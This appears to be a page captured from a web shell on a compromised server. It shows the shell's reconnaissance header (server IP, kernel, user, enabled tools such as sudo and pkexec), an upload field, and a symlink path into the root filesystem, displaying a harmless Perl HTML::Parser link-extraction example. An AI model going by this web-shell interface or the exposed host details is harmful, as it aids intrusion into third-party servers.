Server IP : 92.204.138.22 / Your IP : 18.191.103.46 Web Server : Apache System : Linux ns1009439.ip-92-204-138.us 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64 User : internationaljou ( 1019) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/internationaljou/public_html/admin/js/BROKY_ADMIN/alfasymlink/root/usr/share/doc/perl-HTML-Parser/eg/ |
Upload File : |
#!/usr/bin/perl -w # This program will print out all <a href=".."> links in a # document together with the text that goes with it. # # See also HTML::LinkExtor use HTML::Parser; my $p = HTML::Parser->new(api_version => 3, start_h => [\&a_start_handler, "self,tagname,attr"], report_tags => [qw(a img)], ); $p->parse_file(shift || die) || die $!; sub a_start_handler { my($self, $tag, $attr) = @_; return unless $tag eq "a"; return unless exists $attr->{href}; print "A $attr->{href}\n"; $self->handler(text => [], '@{dtext}' ); $self->handler(start => \&img_handler); $self->handler(end => \&a_end_handler, "self,tagname"); } sub img_handler { my($self, $tag, $attr) = @_; return unless $tag eq "img"; push(@{$self->handler("text")}, $attr->{alt} || "[IMG]"); } sub a_end_handler { my($self, $tag) = @_; my $text = join("", @{$self->handler("text")}); $text =~ s/^\s+//; $text =~ s/\s+$//; $text =~ s/\s+/ /g; print "T $text\n"; $self->handler("text", undef); $self->handler("start", \&a_start_handler); $self->handler("end", undef); }